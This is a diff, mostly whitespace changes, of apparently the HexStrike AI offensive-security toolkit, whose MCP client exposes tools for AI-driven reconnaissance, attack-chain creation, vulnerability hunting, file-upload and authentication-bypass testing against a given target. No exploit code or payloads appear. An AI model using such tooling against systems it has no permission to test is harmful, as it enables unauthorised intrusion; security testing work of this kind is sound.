detect_technologies_ai(target: str) -> Dict[str, Any]: """ Use AI to detect technologies and provide technology-specific testing recommendations. - + Args: target: Target to analyze for technology detection - + Returns: Detected technologies with AI-generated testing recommendations """ logger.info(f"๐Ÿ” Detecting technologies for {target}") - + data = {"target": target} result = hexstrike_client.safe_post("api/intelligence/technology-detection", data) - + if result.get("success"): technologies = result.get("detected_technologies", []) cms = result.get("cms_type") recommendations = result.get("technology_recommendations", {}) - + tech_info = f"Technologies: {', '.join(technologies)}" if cms: tech_info += f", CMS: {cms}" - + logger.info(f"โœ… Technology detection completed - {tech_info}") logger.info(f"๐Ÿ“‹ Generated {len(recommendations)} technology-specific recommendations") else: logger.error(f"โŒ Technology detection failed for {target}") - + return result @mcp.tool() def ai_reconnaissance_workflow(target: str, depth: str = "standard") -> Dict[str, Any]: """ Execute AI-driven reconnaissance workflow with intelligent tool chaining. - + Args: target: Target for reconnaissance depth: Reconnaissance depth - "surface", "standard", or "deep" - + Returns: Comprehensive reconnaissance results with AI-driven insights """ logger.info(f"๐Ÿ•ต๏ธ Starting AI reconnaissance workflow for {target} (depth: {depth})") - + # First analyze the target analysis_result = hexstrike_client.safe_post("api/intelligence/analyze-target", {"target": target}) - + if not analysis_result.get("success"): return analysis_result - + # Create attack chain for reconnaissance objective = "comprehensive" if depth == "deep" else "quick" if depth == "surface" else "comprehensive" chain_result = hexstrike_client.safe_post("api/intelligence/create-attack-chain", { "target": target, "objective": objective }) - + if not chain_result.get("success"): return chain_result - + # Execute the reconnaissance scan_result = hexstrike_client.safe_post("api/intelligence/smart-scan", { "target": target, "objective": objective, "max_tools": 8 if depth == "deep" else 3 if depth == "surface" else 5 }) - + logger.info(f"โœ… AI reconnaissance workflow completed for {target}") - + return { "success": True, "target": target, @@ -4844,25 +4851,25 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def ai_vulnerability_assessment(target: str, focus_areas: str = "all") -> Dict[str, Any]: """ Perform AI-driven vulnerability assessment with intelligent prioritization. - + Args: target: Target for vulnerability assessment focus_areas: Comma-separated focus areas - "web", "network", "api", "all" - + Returns: Prioritized vulnerability assessment results with AI insights """ logger.info(f"๐Ÿ”ฌ Starting AI vulnerability assessment for {target}") - + # Analyze target first analysis_result = hexstrike_client.safe_post("api/intelligence/analyze-target", {"target": target}) - + if not analysis_result.get("success"): return analysis_result - + profile = analysis_result.get("target_profile", {}) target_type = profile.get("target_type", "unknown") - + # Select tools based on focus areas and target type if focus_areas == "all": objective = "comprehensive" @@ -4872,16 +4879,16 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: objective = "comprehensive" else: objective = "quick" - + # Execute vulnerability assessment scan_result = hexstrike_client.safe_post("api/intelligence/smart-scan", { "target": target, "objective": objective, "max_tools": 6 }) - + logger.info(f"โœ… AI vulnerability assessment completed for {target}") - + return { "success": True, "target": target, @@ -4901,17 +4908,17 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: # ============================================================================ @mcp.tool() - def bugbounty_reconnaissance_workflow(domain: str, scope: str = "", out_of_scope: str = "", + def bugbounty_reconnaissance_workflow(domain: str, scope: str = "", out_of_scope: str = "", program_type: str = "web") -> Dict[str, Any]: """ Create comprehensive reconnaissance workflow for bug bounty hunting. - + Args: domain: Target domain for bug bounty scope: Comma-separated list of in-scope domains/IPs out_of_scope: Comma-separated list of out-of-scope domains/IPs program_type: Type of program (web, api, mobile, iot) - + Returns: Comprehensive reconnaissance workflow with phases and tools """ @@ -4921,29 +4928,29 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "out_of_scope": out_of_scope.split(",") if out_of_scope else [], "program_type": program_type } - + logger.info(f"๐ŸŽฏ Creating reconnaissance workflow for {domain}") result = hexstrike_client.safe_post("api/bugbounty/reconnaissance-workflow", data) - + if result.get("success"): workflow = result.get("workflow", {}) logger.info(f"โœ… Reconnaissance workflow created - {workflow.get('tools_count', 0)} tools, ~{workflow.get('estimated_time', 0)}s") else: logger.error(f"โŒ Failed to create reconnaissance workflow for {domain}") - + return result @mcp.tool() - def bugbounty_vulnerability_hunting(domain: str, priority_vulns: str = "rce,sqli,xss,idor,ssrf", + def bugbounty_vulnerability_hunting(domain: str, priority_vulns: str = "rce,sqli,xss,idor,ssrf", bounty_range: str = "unknown") -> Dict[str, Any]: """ Create vulnerability hunting workflow prioritized by impact and bounty potential. - + Args: domain: Target domain for bug bounty priority_vulns: Comma-separated list of priority vulnerability types bounty_range: Expected bounty range (low, medium, high, critical) - + Returns: Vulnerability hunting workflow prioritized by impact """ @@ -4952,27 +4959,27 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "priority_vulns": priority_vulns.split(",") if priority_vulns else [], "bounty_range": bounty_range } - + logger.info(f"๐ŸŽฏ Creating vulnerability hunting workflow for {domain}") result = hexstrike_client.safe_post("api/bugbounty/vulnerability-hunting-workflow", data) - + if result.get("success"): workflow = result.get("workflow", {}) logger.info(f"โœ… Vulnerability hunting workflow created - Priority score: {workflow.get('priority_score', 0)}") else: logger.error(f"โŒ Failed to create vulnerability hunting workflow for {domain}") - + return result @mcp.tool() def bugbounty_business_logic_testing(domain: str, program_type: str = "web") -> Dict[str, Any]: """ Create business logic testing workflow for advanced bug bounty hunting. - + Args: domain: Target domain for bug bounty program_type: Type of program (web, api, mobile) - + Returns: Business logic testing workflow with manual and automated tests """ @@ -4980,84 +4987,84 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "domain": domain, "program_type": program_type } - + logger.info(f"๐ŸŽฏ Creating business logic testing workflow for {domain}") result = hexstrike_client.safe_post("api/bugbounty/business-logic-workflow", data) - + if result.get("success"): workflow = result.get("workflow", {}) test_count = sum(len(category["tests"]) for category in workflow.get("business_logic_tests", [])) logger.info(f"โœ… Business logic testing workflow created - {test_count} tests") else: logger.error(f"โŒ Failed to create business logic testing workflow for {domain}") - + return result @mcp.tool() def bugbounty_osint_gathering(domain: str) -> Dict[str, Any]: """ Create OSINT (Open Source Intelligence) gathering workflow for bug bounty reconnaissance. - + Args: domain: Target domain for OSINT gathering - + Returns: OSINT gathering workflow with multiple intelligence phases """ data = {"domain": domain} - + logger.info(f"๐ŸŽฏ Creating OSINT gathering workflow for {domain}") result = hexstrike_client.safe_post("api/bugbounty/osint-workflow", data) - + if result.get("success"): workflow = result.get("workflow", {}) phases = len(workflow.get("osint_phases", [])) logger.info(f"โœ… OSINT workflow created - {phases} intelligence phases") else: logger.error(f"โŒ Failed to create OSINT workflow for {domain}") - + return result @mcp.tool() def bugbounty_file_upload_testing(target_url: str) -> Dict[str, Any]: """ Create file upload vulnerability testing workflow with bypass techniques. - + Args: target_url: Target URL with file upload functionality - + Returns: File upload testing workflow with malicious files and bypass techniques """ data = {"target_url": target_url} - + logger.info(f"๐ŸŽฏ Creating file upload testing workflow for {target_url}") result = hexstrike_client.safe_post("api/bugbounty/file-upload-testing", data) - + if result.get("success"): workflow = result.get("workflow", {}) phases = len(workflow.get("test_phases", [])) logger.info(f"โœ… File upload testing workflow created - {phases} test phases") else: logger.error(f"โŒ Failed to create file upload testing workflow for {target_url}") - + return result @mcp.tool() - def bugbounty_comprehensive_assessment(domain: str, scope: str = "", + def bugbounty_comprehensive_assessment(domain: str, scope: str = "", priority_vulns: str = "rce,sqli,xss,idor,ssrf", - include_osint: bool = True, + include_osint: bool = True, include_business_logic: bool = True) -> Dict[str, Any]: """ Create comprehensive bug bounty assessment combining all specialized workflows. - + Args: domain: Target domain for bug bounty scope: Comma-separated list of in-scope domains/IPs priority_vulns: Comma-separated list of priority vulnerability types include_osint: Include OSINT gathering workflow include_business_logic: Include business logic testing workflow - + Returns: Comprehensive bug bounty assessment with all workflows and summary """ @@ -5068,28 +5075,28 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "include_osint": include_osint, "include_business_logic": include_business_logic } - + logger.info(f"๐ŸŽฏ Creating comprehensive bug bounty assessment for {domain}") result = hexstrike_client.safe_post("api/bugbounty/comprehensive-assessment", data) - + if result.get("success"): assessment = result.get("assessment", {}) summary = assessment.get("summary", {}) logger.info(f"โœ… Comprehensive assessment created - {summary.get('workflow_count', 0)} workflows, ~{summary.get('total_estimated_time', 0)}s") else: logger.error(f"โŒ Failed to create comprehensive assessment for {domain}") - + return result @mcp.tool() def bugbounty_authentication_bypass_testing(target_url: str, auth_type: str = "form") -> Dict[str, Any]: """ Create authentication bypass testing workflow for bug bounty hunting. - + Args: target_url: Target URL with authentication auth_type: Type of authentication (form, jwt, oauth, saml) - + Returns: Authentication bypass testing strategies and techniques """ @@ -5119,7 +5126,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: {"technique": "Signature Bypass", "description": "Test signature validation bypass"} ] } - + workflow = { "target": target_url, "auth_type": auth_type, @@ -5133,9 +5140,9 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "estimated_time": 240, "manual_testing_required": True } - + logger.info(f"๐ŸŽฏ Created authentication bypass testing workflow for {target_url}") - + return { "success": True, "workflow": workflow, @@ -5145,13 +5152,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: # ============================================================================ # ENHANCED HTTP TESTING FRAMEWORK & BROWSER AGENT (BURP SUITE ALTERNATIVE) # ============================================================================ - + @mcp.tool() - def http_framework_test(url: str, method: str = "GET", data: dict = {}, + def http_framework_test(url: str, method: str = "GET", data: dict = {}, headers: dict = {}, cookies: dict = {}, action: str = "request") -> Dict[str, Any]: """ Enhanced HTTP testing framework (Burp Suite alternative) for comprehensive web security testing. - + Args: url: Target URL to test method: HTTP method (GET, POST, PUT, DELETE, etc.) @@ -5159,7 +5166,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: headers: Custom headers cookies: Custom cookies action: Action to perform (request, spider, proxy_history, set_rules, set_scope, repeater, intruder) - + Returns: HTTP testing results with vulnerability analysis """ @@ -5171,28 +5178,28 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "cookies": cookies, "action": action } - + logger.info(f"{HexStrikeColors.FIRE_RED}๐Ÿ”ฅ Starting HTTP Framework {action}: {url}{HexStrikeColors.RESET}") result = hexstrike_client.safe_post("api/tools/http-framework", data_payload) - + if result.get("success"): logger.info(f"{HexStrikeColors.SUCCESS}โœ… HTTP Framework {action} completed for {url}{HexStrikeColors.RESET}") - + # Enhanced logging for vulnerabilities found if result.get("result", {}).get("vulnerabilities"): vuln_count = len(result["result"]["vulnerabilities"]) logger.info(f"{HexStrikeColors.HIGHLIGHT_RED} Found {vuln_count} potential vulnerabilities {HexStrikeColors.RESET}") else: logger.error(f"{HexStrikeColors.ERROR}โŒ HTTP Framework {action} failed for {url}{HexStrikeColors.RESET}") - + return result @mcp.tool() - def browser_agent_inspect(url: str, headless: bool = True, wait_time: int = 5, + def browser_agent_inspect(url: str, headless: bool = True, wait_time: int = 5, action: str = "navigate", proxy_port: int = None, active_tests: bool = False) -> Dict[str, Any]: """ AI-powered browser agent for comprehensive web application inspection and security analysis. - + Args: url: Target URL to inspect headless: Run browser in headless mode @@ -5200,7 +5207,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: action: Action to perform (navigate, screenshot, close, status) proxy_port: Optional proxy port for request interception active_tests: Run lightweight active reflected XSS tests (safe GET-only) - + Returns: Browser inspection results with security analysis """ @@ -5212,26 +5219,26 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "proxy_port": proxy_port, "active_tests": active_tests } - + logger.info(f"{HexStrikeColors.CRIMSON}๐ŸŒ Starting Browser Agent {action}: {url}{HexStrikeColors.RESET}") result = hexstrike_client.safe_post("api/tools/browser-agent", data_payload) - + if result.get("success"): logger.info(f"{HexStrikeColors.SUCCESS}โœ… Browser Agent {action} completed for {url}{HexStrikeColors.RESET}") - + # Enhanced logging for security analysis if action == "navigate" and result.get("result", {}).get("security_analysis"): security_analysis = result["result"]["security_analysis"] issues_count = security_analysis.get("total_issues", 0) security_score = security_analysis.get("security_score", 0) - + if issues_count > 0: logger.warning(f"{HexStrikeColors.HIGHLIGHT_YELLOW} Security Issues: {issues_count} | Score: {security_score}/100 {HexStrikeColors.RESET}") else: logger.info(f"{HexStrikeColors.HIGHLIGHT_GREEN} No security issues found | Score: {security_score}/100 {HexStrikeColors.RESET}") else: logger.error(f"{HexStrikeColors.ERROR}โŒ Browser Agent {action} failed for {url}{HexStrikeColors.RESET}") - + return result # ---------------- Additional HTTP Framework Tools (sync with server) ---------------- @@ -5272,19 +5279,19 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return hexstrike_client.safe_post("api/tools/http-framework", payload) @mcp.tool() - def burpsuite_alternative_scan(target: str, scan_type: str = "comprehensive", - headless: bool = True, max_depth: int = 3, + def burpsuite_alternative_scan(target: str, scan_type: str = "comprehensive", + headless: bool = True, max_depth: int = 3, max_pages: int = 50) -> Dict[str, Any]: """ Comprehensive Burp Suite alternative combining HTTP framework and browser agent for complete web security testing. - + Args: target: Target URL or domain to scan scan_type: Type of scan (comprehensive, spider, passive, active) headless: Run browser in headless mode max_depth: Maximum crawling depth max_pages: Maximum pages to analyze - + Returns: Comprehensive security assessment results """ @@ -5295,25 +5302,25 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "max_depth": max_depth, "max_pages": max_pages } - + logger.info(f"{HexStrikeColors.BLOOD_RED}๐Ÿ”ฅ Starting Burp Suite Alternative {scan_type} scan: {target}{HexStrikeColors.RESET}") result = hexstrike_client.safe_post("api/tools/burpsuite-alternative", data_payload) - + if result.get("success"): logger.info(f"{HexStrikeColors.SUCCESS}โœ… Burp Suite Alternative scan completed for {target}{HexStrikeColors.RESET}") - + # Enhanced logging for comprehensive results if result.get("result", {}).get("summary"): summary = result["result"]["summary"] total_vulns = summary.get("total_vulnerabilities", 0) pages_analyzed = summary.get("pages_analyzed", 0) security_score = summary.get("security_score", 0) - + logger.info(f"{HexStrikeColors.HIGHLIGHT_BLUE} SCAN SUMMARY {HexStrikeColors.RESET}") logger.info(f" ๐Ÿ“Š Pages Analyzed: {pages_analyzed}") logger.info(f" ๐Ÿšจ Vulnerabilities: {total_vulns}") logger.info(f" ๐Ÿ›ก๏ธ Security Score: {security_score}/100") - + # Log vulnerability breakdown vuln_breakdown = summary.get("vulnerability_breakdown", {}) for severity, count in vuln_breakdown.items(): @@ -5325,33 +5332,33 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: 'low': HexStrikeColors.YELLOW, 'info': HexStrikeColors.INFO }.get(severity.lower(), HexStrikeColors.WHITE) - + logger.info(f" {color}{severity.upper()}: {count}{HexStrikeColors.RESET}") else: logger.error(f"{HexStrikeColors.ERROR}โŒ Burp Suite Alternative scan failed for {target}{HexStrikeColors.RESET}") - + return result @mcp.tool() def error_handling_statistics() -> Dict[str, Any]: """ Get intelligent error handling system statistics and recent error patterns. - + Returns: Error handling statistics and patterns """ logger.info(f"{HexStrikeColors.ELECTRIC_PURPLE}๐Ÿ“Š Retrieving error handling statistics{HexStrikeColors.RESET}") result = hexstrike_client.safe_get("api/error-handling/statistics") - + if result.get("success"): stats = result.get("statistics", {}) total_errors = stats.get("total_errors", 0) recent_errors = stats.get("recent_errors_count", 0) - + logger.info(f"{HexStrikeColors.SUCCESS}โœ… Error statistics retrieved{HexStrikeColors.RESET}") logger.info(f" ๐Ÿ“ˆ Total Errors: {total_errors}") logger.info(f" ๐Ÿ•’ Recent Errors: {recent_errors}") - + # Log error breakdown by type error_counts = stats.get("error_counts_by_type", {}) if error_counts: @@ -5360,20 +5367,20 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: logger.info(f" {HexStrikeColors.FIRE_RED}{error_type}: {count}{HexStrikeColors.RESET}") else: logger.error(f"{HexStrikeColors.ERROR}โŒ Failed to retrieve error statistics{HexStrikeColors.RESET}") - + return result @mcp.tool() - def test_error_recovery(tool_name: str, error_type: str = "timeout", + def test_error_recovery(tool_name: str, error_type: str = "timeout", target: str = "example.com") -> Dict[str, Any]: """ Test the intelligent error recovery system with simulated failures. - + Args: tool_name: Name of tool to simulate error for error_type: Type of error to simulate (timeout, permission_denied, network_unreachable, etc.) target: Target for the simulated test - + Returns: Recovery strategy and system response """ @@ -5382,26 +5389,26 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "error_type": error_type, "target": target } - + logger.info(f"{HexStrikeColors.RUBY}๐Ÿงช Testing error recovery for {tool_name} with {error_type}{HexStrikeColors.RESET}") result = hexstrike_client.safe_post("api/error-handling/test-recovery", data_payload) - + if result.get("success"): recovery_strategy = result.get("recovery_strategy", {}) action = recovery_strategy.get("action", "unknown") success_prob = recovery_strategy.get("success_probability", 0) - + logger.info(f"{HexStrikeColors.SUCCESS}โœ… Error recovery test completed{HexStrikeColors.RESET}") logger.info(f" ๐Ÿ”ง Recovery Action: {action}") logger.info(f" ๐Ÿ“Š Success Probability: {success_prob:.2%}") - + # Log alternative tools if available alternatives = result.get("alternative_tools", []) if alternatives: logger.info(f" ๐Ÿ”„ Alternative Tools: {', '.join(alternatives)}") else: logger.error(f"{HexStrikeColors.ERROR}โŒ Error recovery test failed{HexStrikeColors.RESET}") - + return result return mcp @@ -5409,7 +5416,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def parse_args(): """Parse command line arguments.""" parser = argparse.ArgumentParser(description="Run the HexStrike AI MCP Client") - parser.add_argument("--server", type=str, default=DEFAULT_HEXSTRIKE_SERVER, + parser.add_argument("--server", type=str, default=DEFAULT_HEXSTRIKE_SERVER, help=f"HexStrike AI API server URL (default: {DEFAULT_HEXSTRIKE_SERVER})") parser.add_argument("--timeout", type=int, default=DEFAULT_REQUEST_TIMEOUT, help=f"Request timeout in seconds (default: {DEFAULT_REQUEST_TIMEOUT})") @@ -5419,20 +5426,20 @@ def parse_args(): def main(): """Main entry point for the MCP server.""" args = parse_args() - + # Configure logging based on debug flag if args.debug: logger.setLevel(logging.DEBUG) logger.debug("๐Ÿ” Debug logging enabled") - + # MCP compatibility: No banner output to avoid JSON parsing issues logger.info(f"๐Ÿš€ Starting HexStrike AI MCP Client v6.0") logger.info(f"๐Ÿ”— Connecting to: {args.server}") - + try: # Initialize the HexStrike AI client hexstrike_client = HexStrikeClient(args.server, args.timeout) - + # Check server health and log the result health = hexstrike_client.check_health() if "error" in health: @@ -5447,7 +5454,7 @@ def main(): missing_tools = [tool for tool, available in health.get("tools_status", {}).items() if not available] if missing_tools: logger.warning(f"โŒ Missing tools: {', '.join(missing_tools[:5])}{'...' if len(missing_tools) > 5 else ''}") - + # Set up and run the MCP server mcp = setup_mcp_server(hexstrike_client) logger.info("๐Ÿš€ Starting HexStrike AI MCP server") @@ -5460,4 +5467,4 @@ def main(): sys.exit(1) if __name__ == "__main__": - main() \ No newline at end of file + main() diff --git a/hexstrike_server.py b/hexstrike_server.py index ba01649..bd66d24 100644 --- a/hexstrike_server.py +++ b/hexstrike_server.py @@ -104,11 +104,11 @@ API_HOST = os.environ.get('HEXSTRIKE_HOST', '127.0.0.1') class ModernVisualEngine: """Beautiful, modern output formatting with animations and colors""" - + # Enhanced color palette with reddish tones and better highlighting COLORS = { 'MATRIX_GREEN': '\033[38;5;46m', - 'NEON_BLUE': '\033[38;5;51m', + 'NEON_BLUE': '\033[38;5;51m', 'ELECTRIC_PURPLE': '\033[38;5;129m', 'CYBER_ORANGE': '\033[38;5;208m', 'HACKER_RED': '\033[38;5;196m', @@ -161,7 +161,7 @@ class ModernVisualEngine: 'SPINNER': '\033[38;5;51m', # Cyan 'PULSE': '\033[38;5;196m\033[5m' # Blinking red } - + # Progress animation styles PROGRESS_STYLES = { 'dots': ['โ ‹', 'โ ™', 'โ น', 'โ ธ', 'โ ผ', 'โ ด', 'โ ฆ', 'โ ง', 'โ ‡', 'โ '], @@ -169,7 +169,7 @@ class ModernVisualEngine: 'arrows': ['โ†', 'โ†–', 'โ†‘', 'โ†—', 'โ†’', 'โ†˜', 'โ†“', 'โ†™'], 'pulse': ['โ—', 'โ—', 'โ—‘', 'โ—’', 'โ—“', 'โ—”', 'โ—•', 'โ—–', 'โ——', 'โ—˜'] } - + @staticmethod def create_banner() -> str: """Create the enhanced HexStrike banner""" @@ -184,8 +184,8 @@ class ModernVisualEngine: {title_block} โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ•šโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ•šโ•โ•โ–ˆโ–ˆโ•”โ•โ•โ•โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ• -โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ•šโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— -โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ• โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•— โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ•โ• +โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ•šโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— +โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ• โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•— โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ•โ• โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ•šโ•โ• โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ• โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ•โ• โ•šโ•โ• โ•šโ•โ• โ•šโ•โ•โ•šโ•โ•โ•šโ•โ• โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ•โ• {RESET} @@ -200,7 +200,7 @@ class ModernVisualEngine: [INFO] Blood-red theme engaged โ€“ unified offensive operations UI{RESET} """ return banner - + @staticmethod def create_progress_bar(current: int, total: int, width: int = 50, tool: str = "") -> str: """Create a beautiful progress bar with cyberpunk styling""" @@ -208,10 +208,10 @@ class ModernVisualEngine: percentage = 0 else: percentage = min(100, (current / total) * 100) - + filled = int(width * percentage / 100) bar = 'โ–ˆ' * filled + 'โ–‘' * (width - filled) - + border = ModernVisualEngine.COLORS['PRIMARY_BORDER'] fill_col = ModernVisualEngine.COLORS['ACCENT_LINE'] return f""" @@ -220,17 +220,17 @@ class ModernVisualEngine: โ””โ”€{'โ”€' * (width + 10)}โ”˜{ModernVisualEngine.COLORS['RESET']}""" @staticmethod - def render_progress_bar(progress: float, width: int = 40, style: str = 'cyber', + def render_progress_bar(progress: float, width: int = 40, style: str = 'cyber', label: str = "", eta: float = 0, speed: str = "") -> str: """Render a beautiful progress bar with multiple styles""" - + # Clamp progress between 0 and 1 progress = max(0.0, min(1.0, progress)) - + # Calculate filled and empty portions filled_width = int(width * progress) empty_width = width - filled_width - + # Style-specific rendering if style == 'cyber': filled_char = 'โ–ˆ' @@ -252,22 +252,22 @@ class ModernVisualEngine: empty_char = 'โ–‘' bar_color = ModernVisualEngine.COLORS['ACCENT_LINE'] progress_color = ModernVisualEngine.COLORS['PRIMARY_BORDER'] - + # Build the progress bar filled_part = bar_color + filled_char * filled_width empty_part = ModernVisualEngine.COLORS['TERMINAL_GRAY'] + empty_char * empty_width percentage = f"{progress * 100:.1f}%" - + # Add ETA and speed if provided extra_info = "" if eta > 0: extra_info += f" ETA: {eta:.1f}s" if speed: extra_info += f" Speed: {speed}" - + # Build final progress bar bar_display = f"[{filled_part}{empty_part}{ModernVisualEngine.COLORS['RESET']}] {progress_color}{percentage}{ModernVisualEngine.COLORS['RESET']}" - + if label: return f"{label}: {bar_display}{extra_info}" else: @@ -276,7 +276,7 @@ class ModernVisualEngine: @staticmethod def create_live_dashboard(processes: Dict[int, Dict[str, Any]]) -> str: """Create a live dashboard showing all active processes""" - + if not processes: return f""" {ModernVisualEngine.COLORS['PRIMARY_BORDER']}โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ @@ -285,35 +285,35 @@ class ModernVisualEngine: โ”‚ {ModernVisualEngine.COLORS['TERMINAL_GRAY']}No active processes currently running{ModernVisualEngine.COLORS['PRIMARY_BORDER']} โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ{ModernVisualEngine.COLORS['RESET']} """ - + dashboard_lines = [ f"{ModernVisualEngine.COLORS['PRIMARY_BORDER']}โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ", f"โ”‚ {ModernVisualEngine.COLORS['ACCENT_LINE']}๐Ÿ“Š HEXSTRIKE LIVE DASHBOARD{ModernVisualEngine.COLORS['PRIMARY_BORDER']} โ”‚", 